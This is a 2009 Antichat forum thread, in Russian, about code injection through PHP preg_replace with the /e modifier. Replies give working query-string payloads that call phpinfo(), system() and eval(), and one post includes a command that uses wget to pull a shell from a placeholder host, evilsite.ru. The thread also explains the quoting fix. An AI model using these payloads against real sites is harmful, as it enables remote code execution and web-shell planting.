ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

29.09.2009, 16:36
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Значит у меня такой вопрос по уязвимости через регулярку...
Вот для примера такой скриптик:
Код:
<?php
$get = $_GET['get'];
$get = preg_replace("#\[1\](.*?)\[/1\]#sie", "base64_encode(\\1)", $get);
echo $get;
?>
Регулярка preg_replace да ещё и с модификатором Е, в принципе на первый взгляд уязвимостей нету, ибо во второй параметр не передаётся переменных...
А вот если с этой стороны посмотреть, то я предполагаю, что можно составить регулярное выражение типа: [1]);eval(phpcode[/1]
То есть смысл, закрываем функцию base64_encode и открываем функцию eval с нашим кодом.
Однако как бы я не пробовал, что то у меня не получается… Вот хотелось бы уточнить конкретно, данный код уязвим, или нет?
|
|
|

29.09.2009, 16:40
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме: 4358210
Репутация:
2017
|
|
http://127.0.0.1/4/11.php?get=[1]phpinfo()[/1]
выводит phpinfo()
Во нашел
http://127.0.0.1/4/11.php?get=[1]eval($d)[/1]&d=echo%20'fff';
Последний раз редактировалось HAXTA4OK; 29.09.2009 в 16:43..
|
|
|

29.09.2009, 16:46
|
|
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме: 4075418
Репутация:
386
|
|
или так http://127.0.0.1/dir.php?get=[1]system(dir)[/1] - у мну все выполняеться
|
|
|

29.09.2009, 16:52
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Вероятно вы не поняли ситуацию, сам передаваемый текст в итоге оказывается в функции base64_encode(\\1), а не за её пределами, конечно же в base64_encode() никакого кода и не может выполниться.
У меня был смысл выйти за пределы функции и вписать другую функцию.
?get=[1]phpinfo()[/1] это по логике не должно сработать, и конечно у меня не срабатывает.
В регулярке изначально нету никаких eval, там есть только base64_encode
|
|
|

29.09.2009, 16:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме: 4358210
Репутация:
2017
|
|
Сообщение от warlok
или так http://127.0.0.1/dir.php?get=[1]system(dir)[/1] - у мну все выполняеться
взял твой пример у меня
http://127.0.0.1/4/11.php?get=[1]echo%20'fff'[/1]
Parse error: syntax error, unexpected T_ECHO, expecting ')' in C:\xampp\htdocs\4\11.php(3) : regexp code on line 1
Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: Failed evaluating code: base64_encode(echo \'fff\') in C:\xampp\htdocs\4\11.php on line 3
а при моем на кавычки не ругается
Сообщение от Nightmarе
Вероятно вы не поняли ситуацию, сам передаваемый текст в итоге оказывается в функции base64_encode(\\1), а не за её пределами, конечно же в base64_encode() никакого кода и не может выполниться.
У меня был смысл выйти за пределы функции и вписать другую функцию.
?get=[1]phpinfo()[/1] это по логике не должно сработать, и конечно у меня не срабатывает.
В регулярке изначально нету никаких eval, там есть только base64_encode
а я ни чего против не имею, что в регулярке нету eval'a ,eval это уже как следствие выполнения php кода, а далее раз ты его выполняеш то и получаеш eval($d)&d=phpcode
Последний раз редактировалось HAXTA4OK; 29.09.2009 в 16:57..
|
|
|

29.09.2009, 17:00
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
О каком коде вы говорите?... Где исходники?
upd: Увидел, ща посмотрю...
Последний раз редактировалось mailbrush; 29.09.2009 в 17:02..
|
|
|

29.09.2009, 17:19
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Nightmarе, ты посмотри внимательно как ты парсишь текст:
PHP код:
preg_replace("#\[1\](.*?)\[/1\]#sie", "base64_encode(\\1)", $get);
Если на входе
Код:
http://127.0.0.1/1.php?get=[1]phpinfo()[/1]
то на выходе будет
Код:
base64_encode(phpinfo());
Сначала выполнится phpinfo(); - выведет результат на экран, а потом base64_encode(phpinfo()); выведет MQ==, т.е кодированный в base64 результат ВЫПОЛНЕНИЯ ф-ции phpinfo(), т.е. 1 (1 - ф-ция выполнилась успешно, 0 - нет) . Вся ошибка твоего кода в том, что ты не ставишь кавычек на заменяющую строку. Т.е. вместо поставь И твой код будет полностью защищен - выполнить какие-либо php-функции не удастся. Это по поводу безопасности..
Если же тебе надо, н.п. шелл залить, на вход отправь данные:
Код:
?get=[1]system($_GET[0])[/1]&0=wget+http://evilsite.ru/evilcode.txt+-O+shell.php
Он сработает. Почему? Интерпретатор будет интерпретировать строку
PHP код:
base64_encode(system($_GET[0]))
Сначала выполнится ф-ция system(), которая берет аргумент с GET параметра 0, а он у тебя
Код:
wget http://evilsite.ru/evilcode.txt -O shell.php
Синтаксис wget объяснять не буду...
Последний раз редактировалось mailbrush; 29.09.2009 в 17:26..
|
|
|

29.09.2009, 21:56
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Спасибо теперь разобрался с тем кодом.
Теперь есть вот такой:
Код:
$line = preg_replace("#\[1\](.*?)\[/1\]#sie", "'<a href=\"javascript:getfile(\''.addslashes('\\1').'\');\"><font color=#E2C6EE>\\1</font></a>'", $line);
То есть тут \\1 выходит 2 раза, первый как и положенно в ковычках, а вот второй она не фильтруется ничем, однако выполнить php код так-же не получается, уязвим ли этот кусок кода?
|
|
|

29.09.2009, 22:42
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Сообщение от Nightmarе
Спасибо теперь разобрался с тем кодом.
Теперь есть вот такой:
Код:
$line = preg_replace("#\[1\](.*?)\[/1\]#sie", "'<a href=\"javascript:getfile(\''.addslashes('\\1').'\');\"><font color=#E2C6EE>\\1</font></a>'", $line);
То есть тут \\1 выходит 2 раза, первый как и положенно в ковычках, а вот второй она не фильтруется ничем, однако выполнить php код так-же не получается, уязвим ли этот кусок кода?
Нет, тебя в кавычках строка на выходе.
Код:
$line = preg_replace("#\[1\](.*?)\[/1\]#sie", "'<a href=\"javascript:getfile(\''.addslashes('\\1').'\');\"><font color=#E2C6EE>\\1</font></a>'", $line);
Почему не работает? - Смотри выше.
|
|
|

30.09.2009, 10:10
|
|
Познающий
Регистрация: 18.11.2008
Сообщений: 53
Провел на форуме: 170968
Репутация:
10
|
|
include_once ('./lang/'.$lang_include);
возможно ли что-либо подинклюдить, кроме как с папки lang?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|